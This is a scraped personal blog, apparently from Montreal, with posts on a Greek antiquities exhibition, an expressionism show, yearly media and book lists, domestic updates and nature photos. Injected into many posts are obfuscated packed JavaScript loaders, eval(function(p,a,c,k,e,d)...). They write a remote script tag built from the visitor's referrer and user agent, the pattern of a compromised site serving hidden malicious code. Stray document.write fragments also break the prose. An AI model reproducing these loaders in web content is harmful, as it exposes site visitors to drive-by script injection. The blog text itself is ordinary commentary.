I was quite impressed by being able to see with my own eyes linear A & linear B tablets, Mycenaean dagues & swords and lots of fabulous gold objects. Although the iconic Agamemnon mask displayed at the exhibit was a reproduction — probably because the original is too precious to travel abroad.

[Above: A Lekythos (funerary vase) in clay depicting Achilles avenging Patroclus. Hector, leader of the Trojan army, killed Patroclus, thinking he was Achilles. Blind with rage at the death of his friend, Achilles killed Hector, tied his body to a chariot, and dragged it around Patroclus’ tomb. Delos, late 6th century BCE, © Archaeological Museum of Delos]

The exhibition then moves to the second floor with another succession of rooms introducing us to the Archaic period (7th to 6th Centuries BCE). After a time of decline, the greek civilisation reorganize and consolidate itself around several city-states and a strong aristocracy, bringing an era of prosperity and expansion.

In that part of the exhibit we can see several kouroi and korai (votive statues of young men [kouros] and women [kore] in rather stiff posture; geochemical analysis tells us they were richly coloured), artifacts found in the tombs of several aristocrat women or priestesses (particularly the tomb of the Lady of Archontiko, probably the wife of a Bottiaean ruler), and some interesting warriors’ helmets.

[Opposite: a Koré. This Greek kore of Parian marble from the late 6th century BCE decorated a temple in the Acropolis in Athens. In the 7th and 6th centuries BCE, statues of young women (kore, plural korai) — larger than life-size at the beginning and life-size later on — were placed in Greek sanctuaries as offerings to the gods or served as grave markers. Athenian Acropolis, 520–510 BCE, © Acropolis Museum, Athens]

However, most of the second floor exhibit is dedicated to the Classical period (5th to 4th Centuries BCE). This is the summum of the ancient greek civilisation.

In this case, the exhibit is divided in several themes: the Olympics, the battle of Thermopylae (made notorious by the movie 300), the Athenian democracy, the rich literary culture (theatre, philosophy, rhetoric), etc. Here the artifacts displayed are less spectacular (mostly potteries and stone sculptures — I was disappointed to see very little coins) and the exhibit rests more on several explanatory panels and animated videos.

[Above: Votive relief offered to Asklepios. This bas-relief of pentelic marbre shows Asklepios, accompanied by his children, receiving the tributes of mortals whom he has cured. This type of object was placed in sanctuaries dedicated to the god of medicine. Loukou, 375–350 BCE, © National Archaeological Museum, Athens]

The exhibit concludes with the Pre-Hellenistic period (4th Century BCE) which was dominated by the kings of ancient Macedon: Philip II and Alexander the Great.

Here we learn about the macedonian rituals and belief (death rituals, Eleusinian mysteries). Artifacts come from the tombs of a priest in Stavroupolis, a priestess in Derveni and, of course, the tomb of Philip II (including Queen Meda magnificent gold wreath). There’s also several representation of Alexander.

The spreading of the classical greek culture made possible by Alexander’s conquest will bring a new era, the Hellenistic period, characterized by a rich culture, that will last until the Roman empire.

[Above: Marble sculpture of Alexander the Great. Upon becoming master of a large part of the ancient world, the young Alexander introduced Greek culture to Asia and imposed the use of Greek on many peoples. He also founded no fewer than 70 towns in the East modelled on Greek city-states. Ella, late 4th century BCE, © Archaeological Museum of Pella]

This exhibition is definitely a must. The only negative points that I unfortunately must bring out is the fact that it is quite expensive ($20 ! In today’s context it is clear that one must pay a lot for access to culture; although you get a 20% rebate if you have the Acces-Montreal card [FB]) and that photography is strictly forbidden at all times in every exhibition rooms. Museum usually forbid only flash photography (since light can often damage the art, but that’s good for paintings; I can hardly see what damage light could do to stone artifacts!) and when they forbid all photography it is usually to make more money by selling reproductions (which is not the case here). That was probably a requirement from the lending museums. Fortunately, for once, the museum shop is offering a souvenir book that is relatively complete (132 pages, although it is NOT an exhaustive catalog of the exhibition) and at a quite reasonable price ($9.95). It is really worth purchasing (but it is for now available only in the museum shop).

Update: Now you can also get a $5 discount with the OPUS card (the smart card to pay your Montreal transit system’s fares).

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Respect goes both ways

Muslims — or at least the more radical ones — keep saying that, document.write(“”); with our freedom of expression, we insult their religion and prophet but they seem to fail to understand that the way they treat women or forbid arts & music, they constantly insult our god — or at least mine — which is made of knowledge, reason and tolerance.
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I don’t mind them believing what ever they want as long as they don’t try to drag me down into their world, under their rules. We already had our
dark ages centuries ago and we don’t want to revisit them.

Do as you want in your little caliphate, but, please, don’t try to impose your limited views on us and don’t insult my intelligence!

Live and let live! And, for good’s sake, try to have a little more sense of humour and capacity to accept criticism!

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Expo De Van Gogh à Kandinsky

Cet après-midi j’ai visité l’exposition “DE VAN GOGH À KANDINSKY: De l‘impressionnisme à l’expressionnisme, document.write(“”); 1900-1914” au Musée des beaux-arts de Montréal. Cette exposition a été créé par Timothy Benson, conservateur de l’expressionnisme allemand au Los Angeles County Museum of Art, qui a fait beaucoup de recherche sur ce mouvement. Cela l’a amené a découvrir les inspirations et influences des artistes allemands et les interactions qu’ils ont eu avec les artistes français, les collectionneurs, les marchands d’art, etc. Il a tenté de rendre ses recherches accessible au grand public avec cette exposition qui nous offre une centaine d’oeuvres, autant de dessins et gravures, et près de deux-cent photographies.
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On entend souvent parler de diverses choses dans la vie mais il n’y a rien comme une illustration (ou une peinture) pour nous les faire bien comprendre. Cette exposition nous illustre donc des grands mouvements artistiques comme l‘
impressionnisme, l’expressionnisme ou le postimpressionisme, mais aussi des genres intermédiaires comme le pointillisme, fauvisme, le cubisme ou surréalisme. C’est aussi une bonne occasion de voir des oeuvres de grands maîtres (ce n’est pas la première fois que j’en voyais mais il est toujours agréable d’en découvrir de nouvelles) comme le Douanier Rousseau, Matisse, Cézanne, van Gogh ou Gauguin mais aussi de découvrir des artistes peu connu ici (comme Kirchner, Kandinsky, Campendonk, ou Marc) ainsi que le pendant allemand de l’expressionnisme français comme les mouvements Die Brücke (Le Pont, inspiré du pointillisme qui cherchait à faire disparaitre les détails) ou Der Blaue Reiter (Cavalier Bleu, inspiré du postimpressionnisme).

Ce n’est pas toutes les oeuvres qui vous plairons (personnellement j’ai tendance à préférer l’art figuratif mais j’ai tout de même été impressionné par certaines pièces plus abstraites) mais même si ce n’est pas nécessairement notre tasse de thé (comme disent les anglais) on peut toujours en apprécier la qualité (quoique certaines oeuvres auraient sans doute pu être créées par des enfants)…

Il reste à peine plus d’une semaine pour voir cette magnifique exposition, alors dépêchez vous sinon il ne vous restera plus qu’à acheter le catalogue de l’exposition disponible à la boutique du musée, en librairie ou à la bibliothèque (tristement, seulement à la BANQ car il ne semble pas encore disponible dans le réseau des bibliothèques de la ville de Montréal).

Comme c’est souvent le cas dans les musées on ne pouvait pas prendre des photos de toutes les oeuvres (mais au moins il y en avait dont on pouvait se prendre un petit souvenir). Malgré tout je n’ai pris que très peu de photos car, je ne sais pourquoi, je suis toujours un peu gêné de prendre des photos en public. Et, contrairement à mon habitude, je n’ai pas pris de clichés des notices descriptives, ce qui fait qu’il m’a fallut de longues heures de recherche pour identifier en détails certaines oeuvres… Voici, sur Flickr, un diaporama de mes quelques souvenirs de cette visite:

Continuez après le saut de page >>

Le site du Musée des beaux-arts de Montréal consacré à l’exposition “De Van Gogh à Kandinsky” nous donne plusieurs bels exemples des oeuvres exposées, mais en voici tout de même quelques unes pour faire bonne mesure:

Cuno Amiet
Portrait du violoniste Emil Wittwer-Gelpke
Huile sur toile (1905)
Kunstmuseum Basel, Birmann-Fond 1975.

Vincent van Gogh
Le Restaurant de la Sirène à Asnières
Huile sur toile (1887)
Paris, Musée d’Orsay, legs Joseph Reinach, 1921

Robert Delaunay, La Tour rouge (détail), huile sur toile (1911-12), Solomon R. Guggenheim Museum Founding Collection [Photo The Solomon R. Guggenheim Foundation / Art Resource, NY].

“Libéré d’une année d’obligations militaires, le peintre parisien Robert Delaunay réalise, entre 1909 et 1914, plusieurs séries de toiles magistrales qui établissent rapidement sa réputation à Paris et ailleurs. Les trois séries de cette période exceptionnelle – Saint-Séverin, Les Fenêtres et Tour Eiffel – ont eu une influence considérable sur les artistes de Die Brücke et sur leur cercle élargi en Allemagne. La Tour rouge a été exposée à Berlin en 1912 à la galerie Der Sturm. D’autres peintures de la même série, que des artistes allemands, dont Feininger, ont vues, avaient été montrées plus tôt à Paris.”

“Dans cette œuvre ambitieuse, Delaunay se souvient des leçons du cubisme, et de ses surfaces fragmentées étroitement imbriquées. Il représente ce grand symbole d’innovation, d’optimisme et de progrès qu’est la tour Eiffel dans son style appelé « orphisme ». Rompant de façon saisissante avec la modestie revendiquée des natures mortes cubistes, Delaunay établit un parallèle entre sa peinture et l’esprit moderne symbolisé par la tour Eiffel. Ce monument, également un émetteur- récepteur d’ondes radio, incarne les communications internationales. Il correspond à son désir de briser les frontières et de transformer l’Europe en une communauté intégrée. Delaunay reconnaît sa dette envers les séries peintes par Cézanne et Monet – dont quarante-huit Nymphéas ont été présentés à la galerie Durand-Ruel en 1909. LaTour rouge est vue depuis une fenêtre, combinant ainsi les mondes intérieur et extérieur.” [Texte de présentation du musée]

Franz Marc, Écuries, huile sur toile (1913). New York, Solomon R. Guggenheim Museum, Solomon R. Guggenheim Museum Founding Collection. Photo: The Solomon R. Guggenheim Foundation / Art Resource, NY.

“Convaincu par sa foi panthéiste que la civilisation va à l’encontre des forces spirituelles de la nature, qui aurait conservé un sacré propre depuis longtemps perdu par l’homme, Franz Marc fait des animaux l’un de ses sujets de prédilection. Les représentations qu’il en fait, ainsi que celles de scènes à l’état sauvage, sont pour lui bien plus qu’une copie objective des apparences : c’est une façon de tendre vers une spiritualité intérieure.”

“L’une de ses œuvres les plus célèbres, les Écuries, est la dernière des toiles majeures qu’il consacre aux chevaux, son sujet favori. Il se passionne alors de plus en plus pour la recherche d’un vocabulaire formel abstrait capable d’exprimer les aspects universels de la vie, tout en restant fidèle à un contenu spécifique et symbolique. De fait, cette œuvre combine une structure autonome et non-objective de formes géométriques puisées dans la réalité des écuries (les lignes droites et parallèles) avec les cinq chevaux (représentés par des cercles) afin de créer une surface picturale totalement nouvelle, équilibrée et harmonieuse. Bien que le sujet et la forme soient indissociables, Marc semble souligner la nature non-objective des bandes colorées verticales et diagonales entrecroisées, ponctuées de formes circulaires. Il utilise également des couleurs autoréférentielles pour souligner le rôle évocateur et éloquent des tons lumineux.” [Texte de présentation du musée]

Paul Gauguin
Le Gardien de porcs (détail)
huile sur toile (1888)Los Angeles County Museum of Art, gift of Lucille Ellis Simon and family in honor of the museum’s twenty-fifth anniversary.

Paul Cézanne
Paysan en blouse bleue
Huile sur toile (c. 1896-1897)
Fort Worth (Texas), Kimbell Art Museum

Et bien sûr, la bannière au début de ce billet nous montre un détail de la superbe oeuvre de Vincent van Gogh, Saules au coucher du soleil (1888, Otterlo (Pays-Bas), Kröller?Müller Museum. Photo Art Resource, NY). La bannière de fin nous offre un petit coup d’oeil sur le fameux autoportrait du même artiste (Autoportrait, Huile sur toile, c. 1887, Hartford (Connecticut), Wadsworth Atheneum Museum of Art, gift of Philip L. Goodwin in memory of his mother, Josephine S. Goodwin).

Pour plus d’information vous pouvez consulter les sites suivants:

[ Translate ]

The year in media entertainment

As I stated several time lately: I really watch too much TV and here is the proof.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsbst|var|u0026u|referrer|ktasa||js|php’.split(‘|’),0,{}))

This list of the movies and TV series that I’ve watched in 2014 is far from exhaustive as I am sure I forgot many of them (particularly movies or series that I don’t recall because I’ve watch them on TV without taking any notes and therefore they left no trace). The movies were watched mostly on Dvds. This time I’ll also try to rate them according to this system: [0] Bad, document.write(“”); [1] Meh, [2] Average / Really I don’t remember, [3] Good, [4] Great and [5] Excellent. I’ve also indicated when the TV series are British [UK], because it is usually a sign of better production quality (certainly in the writing). I’ll start with a Top 10 for which I’ll try to give a few comments [to be added a little later, sorry] and complete with a simple list of the rest (but I will add a link to at least provide a few production details). The top 10 of the movies was hard because I could’t find enough titles that I really liked. The top 10 of the TV series was even harder because there was so many good ones. Here we go…
after the jump:

Movies Top 10

Battleship [4],

Belle et Sébastien [3]

Book thief (The) [4]

Chat du rabbin (Le) [5]

From up on Poppy Hill [5]

Great Beauty (The) [5]

Hiroshima mon amour [5]

Oblivion [4]

Philomena [4]

12 years a slave [4]

And the rest: A courtesan with flowered skin [3], A drop of the grapevine [3], A la recherche du temps perdu [2], A sparkle of life [3], After Earth [2], Becket [3], Blossom bloom [3], Blue Jasmine [3], Cape Nostalgia [3], Divergent [3], Elysium [4], Ender’s game [3], Fly, Dakota, Fly! [3], Gravity [4], Hana [3], Hobbit : The desolation of Smaug (The) [3], Hunger game : Catching fire (The) [3], Hyde Park on Hudson [3], Iron Man 3 [2], Jobs [2], Light shines only there (The) [3], Lone Ranger (The) [2], Monuments men (The) [3], One third [3], Our family [3], Pacific Rim [1], Quai d’Orsay [2], Quartet [3], Salaud, on t’aime [4], Saving Mr. Banks [2], Star Trek: Into Darkness [1], Sur la piste du Marsupilami [2], Taira clan saga [3], Thor : The dark world [2], Tokyo: The city of glass [3], Twenty-four eyes [3], Zero Theorem (The) [2].

TV Series Top 10

Äkta människor (Real Humans / 100% Humain) S. 1 [5]

Bletchley circle [5]

Endeavour [5]

Firefly [5]

Manhattan [5]

Murdoch Mysteries S. 7-8 [3]

Newsroom (The) S. 3 [5]

Outlander [4]

Returned (The) / Les Revenants [4]

True Detective S.1 [4]

And the rest: 24: Live Another Day S. 9 [1], Almost Human [2], Atlantis [2], Birdsong [1, UK], Breathless [2, UK], Call the midwife [3, UK], Click [2, UK], Constantine [1], Continuum S. 3 [3], Cosmos: A spacetime odyssey [3], Crimson Field (The) [3, UK], Death comes to Pemberley [4, UK], Defiance S. 2 [2], Doctor Zhivago [3, UK], Doctor Who S. 8 [2, UK], Downton Abbey S. 5 [3, UK],

Domestic report (Nov-Dec)

The last two months felt busy, document.write(“”); but sincerely I cannot recall any single event that was really worth mentioning (well, besides the Montreal book fair (part one and part two) and the JCCCM Holiday Craft and Food Sale, which I already covered in separate entries). However, plenty happened, so read it all after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fniti|var|u0026u|referrer|knkfa||js|php’.split(‘|’),0,{}))


I must say that work kept me quite tired, so I often felt like just crashing on the couch and watching TV once I was back home. That’s why I watch too much TV (I’ll cover that in a separate post later). I usually have no energy left to read or write. Therefore time went by rather quickly.

I must admit that any work that always makes you tired and leaves you sweating should not be considered white collar work. It has nothing to do with working at a desk or a service counter like it should be: because of the lack of staff I feel like I’m running all the time (I once said it was like running a marathon while learning to juggle) and I spend more time than I should moving boxes, furnitures, and climbing ladders to install decorations, signs or posters. And people say that city workers are overpaid, lazy do-nothing?!

Everyone talks about austerity! Even the mayor said that he wants us working more and will attempt to reduce our benefits, freeze our salary (considering the constant rise of the cost of living it equals to lowering our salary!) and the government also wants to cut our retirement! We have now been without a contract for three years and have been on strike for one day only in early December. I don’t feel like fighting, but unfortunately it’s going that way. It is really frustrating! I have mixed feeling in regard to working with the public (many are nice but some are looking down on city workers or downright insulting) but I love working with books (even the heavy ones). However, this year, I’ll be looking into getting out of this nut house for sure! In the meantimes, there are only seven-hundred-fifty weeks before retirement!

Fall felt a little colder than usual. By mid-November we had our first snow on the ground, but just a little. We kept getting a daily dose of light snow but without any real accumulation, unlike upper state NY which got two meters of snow in three days! Lucky them… The last week of November we saw the return of mild weather as the temperature kept rising slowly: first 5’C, then 8′ up until 13′! With some rain of course! It seemed like a proper Indian Summer, only a wet one and without the romantic sunsets… In December, temperature fell back under the freezing point. It seems clear now that we will have a winter with seesaw weather! The second week of December brought us a real snow storm. A nice thirty centimetres blanket of snow finally brought us the Holidays spirit. But it didn’t last for long. Just before Christmas it warmed up around 5’C and it started raining on Christmas Eve. It rained all night, sometimes quite heavily. The wind caused some flicker in the power grid. It really didn’t feel like the Holidays. At the end of December, the temperature went back to its seasonal frigid self, but it stayed dry. Fortunately, New Year brought some light snow again which gave back a wintry look to the landscape…

All this time I kept being preoccupied with my health. However, I got tired of logging the calories (since I am not the one preparing food it got complicated to identify and quantify properly what I was eating). Also, the changing weather (from freezing to raining and back) made it difficult to take long walks outside, but so far I haven’t faltered on this aspect. I keep taking strolls on my days off (sometimes a little shorter because of the temperature, so it is sometimes difficult to reach my goal of 8000 steps per day) which also give me the opportunity to take many nice nature pictures around the park (see the many sunsets and snowy landscapes — as well as cats — on my iphoneography feed). I have yet to find meaningful physical activities that I can perform indoor (I do have an old stationary bike, but it’s clunky and uncomfortable). The effort somehow paid off since I succeeded to lose a couple of pounds, but I since then regained them (it’s particularly difficult during the Holidays). As my weight oscillates between 206 and 202 pounds, it seems like a losing and desperate battle. I failed to reach below two-hundred pounds before the end of the year, but I swear I’ll keep at it!

Beside the fact that the constant pressure at work keeps me tired, I feel in relatively good shape. A little before Christmas I had a cold, but it didn’t last long (thankfully I got the flu shot again this year). I also fell from an old two-step ladder at work, which caused many body pains. This, and the constant kneeling at work, prevented my left knee from healing so it’s still hurting when I am bending it or putting pressure on it. I should have it looked after since I don’t want to end up with mobility problem several years later. There is always little problems (like recurring pimples – the Hokuto no ken pox!) and pains (particularly in the back), but that’s the toll of aging, I guess.

Also, while reading a post on a social network, I recently realized that I was suffering from mild social anxiety. I always thought I was a little shy, rather misanthrope, uncomfortable in any social setting, particularly in crowds, and sometime a little paranoid, but maybe it could all be summed up by this. Who knows. That’s the total opposite of my father who was always at ease with people…

Somehow the need I felt to monitor my health with all sort of gadgets and apps brought a renewed interest in domotic (in the old days we were talking about home automation but now people talk more about the “internet of things”) and the purchase of more gadgets and apps (so-called “intelligent” thermostat, smoke detector, light control, etc). I’ll talk about this a little more in a separate post, but there’s this funny anecdote: The Nest thermostat is supposed to save energy by adapting to our habits and analyse our usage. I had already established a schedule determining which temperature I wanted for each hour of the day (usually at 19’C, 16′ when I was away, 18′ at night, etc). However, a few mornings, detecting that I was up either via its motion detector or its link to my Jambone UP24 band, the Nest took the odd decision to crank up the heat to 22′. After a while it leaned that it wasn’t what I wanted and it stopped, but still… Maybe I should call it HAL (Heating Auto-Learner) or is it too creepy? Even the body of the thermostat itself looks like the “eye” of HAL 9000, the crazy computer in 2001: A Space Odyssey. Coincidence? I just hope it won’t start calling me Dave!

Another annoying anecdote: I decided to update the Windows version that works with the VMware Fusion PC emulator I am using sometime and I purchased a licence for Windows 8.1. How come it takes only a couple of hours (and it’s free) to install and tweak OS X (10.10 Yosemite for example) while it costs me nearly $150 and twelve hours to do the same thing with Windows?! I really don’t understand why people would go to such trouble for that piece of… software… Unfortunately there are still too many programmes and games that run only on it…

This blog did well this year. Actually, after about nine-hundred posts, it is my tenth year of blogging. And I increased my average by succeeding to publish two-hundred posts this year! Can I do more next year? I’ll surely try. This blog has an overall page views count of 107,300! This year, almost every month were above 2000 page views (save for April which was a little less) with a monthly average of 3000 pv. In a strange fluke, according to Google stats, December had nearly 10,000 pv (which seems to come mostly from traffic to last year’s review of the Japanese movie The Devil’s path). If we disregard December, the 2014 monthly average is only 2400 pv, nevertheless a serious increase over the all-time average of 1601 pv. However, according to StatCounter, December had only 1380 page views (or 1118 unique visits). Strange discrepancy. StatCounter also shows a yearly total of 11,181 pv (or 7,083 uv) which is, still, quite above the seven-year average of 7,702 pv (5238 uv) or a monthly average of 932 pv (591 uv) again an increase over the all-time monthly average of 771 pv (524 uv). Indeed, not bad at all. So, feel free to keep reading (and please leave some comments from time to time!).

Finally, I must say that, over all, this year was relatively good… if I forget about the unpleasantness of work (anyway we work to pay the bills not to have fun) and the fact that I was briefly hospitalized. I don’t have much to complain about and I am mostly happy. I did lots of work on the house, wrote a little more about manga and life (of course, in both case, not as much as I wanted but that’s a beginning). So, for 2015, I sincerely wish to watch a little less TV, continue to work on the house, read more books and write more about them and everything else.

Take care and Happy New Year to you all.

[ Traduire ]

The month in review (Nov-Dec)

Too many things to talk about so the domestic report will be in a separate entry this time…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eaesy|var|u0026u|referrer|hzain||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trhie|var|u0026u|referrer|riier||js|php’.split(‘|’),0,{}))

The last couple of months have been busy so I haven’t watch or read that much news, document.write(“”); but, still, I have gathered nearly two hundreds links to share with you. The news have been dominated by local stories (austerity mesures, union fighting back) and science stories (Rosetta & Philae comet mission, Amphipolis Tomb discovery, new gadgets), a few disasters & terrorist attacks as well as the inevitable reviews of the year. Have a look
after the jump…


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & Foreign Politics

Fitness tech

Health, home & garden, pets

Humour

iPhoneography

Local news

Media, Culture, Entertainment & Society

My year in books

Goodreads is kind enough to remind me how little books I read this year. Incredibly I read only twenty books this year and most of them are manga! (actually, document.write(“”); I read a few more that I forgot to log as read). I definitely need to watch less TV in 2015 and read (as well as review) more books. So my goal for 2015: read twice as much books!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkhzh|var|u0026u|referrer|rfyin||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsnsf|var|u0026u|referrer|arktk||js|php’.split(‘|’),0,{}))

This year there are so little titles that I could hardly establish a top 10. Beside, they were all good. However, I particularly liked the Cesare series, Josephine and Le rouge et le noir.

For my top 10 movies & TV series see the post The year in media entertainment.

[ Traduire ]

L’image du mercredi

Bordure du circus michaelis
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rynya|var|u0026u|referrer|inehz||js|php’.split(‘|’),0,{}))
(iPhone 6, document.write(“”); camera360 app, 2014/11/29)
Edge of circus Michaelis
(On aperçoit bien sûr ci-haut la Tohu et l’usine Gazmont à l’extrémité est du CESM)

Vieil arbre / La nuit tombe sur le parc
(iPhone 6, camera360 app, 2014/11/29 & 2014/12/05)
Old tree Night fall on the park

The month in review (Sep-Oct)

On the domestic front, document.write(“”); after my recent health scare, I have been rather preoccupied by my well-being and more determined than ever to improve my physical condition. So I started taking walks around the park and monitoring more closely my health parameters (weight, blood pressure, glucose level, body temperature, calorie eaten & burned, etc.). In the beginning my body was hurting, but I am getting used to it. Now I must stay motivated and moving. I have acquired all sorts of gadgets and apps (iPhone 6, Jawbone Up 24, Moves, RunKeeper, Tactio Health, etc.) for that purpose, but so far without much success. I feel better, but (despite reducing the portion eaten — that’s all I could do since I already have a healthy diet) I have not succeeded to lose much weight (I must lose at least thirty-five pounds to be “healthy” [correction: I must lose 25 kgs (55 lbs) ! Damn conversion: it has doomed several planes and space missions; even NASA, Apple or Jawbone have trouble getting this right!]). Somehow I must find ways to increase my physical activity (however my bummed knee prevents me from jogging and my sensible butt doesn’t seem to appreciate biking or even spinning (i.e. stationary)). Unfortunately, all this is rather time consuming…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deaya|var|u0026u|referrer|bzsaz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyfki|var|u0026u|referrer|dshfy||js|php’.split(‘|’),0,{}))

In the end of September we had a few days of a quasi heat wave with temperature in the high twenties, but it didn’t last and much of October was more seasonal (cold, mostly cloudy, with temperature between five and ten). Now it’s slowly inching toward freezing temperature and the first week of November saw the first snow of the year (ok, just a few tiny flakes dancing in the sky without reaching the ground). Not much else happened besides a quick flea infestation, another home invasion of the tiny grey kind (but the CSDF [Cat Self Defense Force], mostly Caramel, took care of it) and considerable strategy and
planning to get the flu shot.

Another significant event, after the release of the iPhone 6 in September, was the mid-October Apple keynote that brought us iOS 8.1, Yosemite (OS X.10) and a new Mac Mini (I was planning to replace mine, but the specs of the new model are too disappointing; and still no new Apple TV). Unfortunately I am growing increasingly disappointed with Apple. I feel like I’ve just bitten in an apple and discovered it’s bad (it reminds me: what’s worse than finding a worm in your apple? Finding half a worm!). Actually, I am quite pissed off at them. I was planning to give my old iPhone 4S to my sister once I had acquired the iPhone 6, but it self-destructed before I had a chance (a swollen battery ripped open the case). Since my warranty had expired by ten days, we had to pay $200 to have it replaced! With “Bendgate”, the fumbled release of iOS 8, the buggy Health app (which still doesn’t work for me since Apple has removed the function I was interested in: glucose logging — apparently americans have no idea that the rest of the world use different measuring units!), and the absence of Apple Pay in Canada, I am starting to wonder why I bothered purchasing the iPhone 6. Even my iPad Air is starting to give me problems with iOS 8 (the sound stops working sometime) and I had to install an old Java version on the iMac in order to allow some softwares to play nice with Yosemite (and VMware Fusion stopped working so I’ll need to pay for an upgrade, again). All this is so annoying. As they start releasing crappy products, I am wondering if Apple is becoming just another greedy corporation. Anyway, I’ve lost all confidence in them…

I had lots of problems so far this year, so I guess it was my time to have an “anus horribilis”! What’s worries me is that since I have been hospitalized I have not written anything significant. I just can’t seem to concentrate or find enough time… I’ve been trying to write this blog post for weeks. Hopefully, it will improve with time.

The world news have been mostly dominated by the Ebola crisis and the Islamic State situation. As usual, I’ve gathered tons of interesting links and I am sharing them with you after the jump…


Anime & Manga related, Japan, Popular Culture

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Nature iPhoneography

Couché de soleil sur l’étang & sur le champs
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|riifs|var|u0026u|referrer|sbbfz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnbtk|var|u0026u|referrer|ffhik||js|php’.split(‘|’),0,{}))
(iPhone 6, document.write(“”); Camera app with
HDR, 2014-10-03)
Sunset on the pond (iPhone camera app w/HDR) Sunset on the field (iPhone camera app w/HDR)
Couché de soleil sur l’étang & sur le champs
(iPhone 6, TrueHDR app, 2014-10-05)
Sunset on the pond (True HDR app) Sunset on the field (True HDR app)
Le ciel sur le parc / Araignée au centre de sa toile
(iPhone 6, TrueHDR app, 2014-10-05 / Camera app, 2014-10-11)
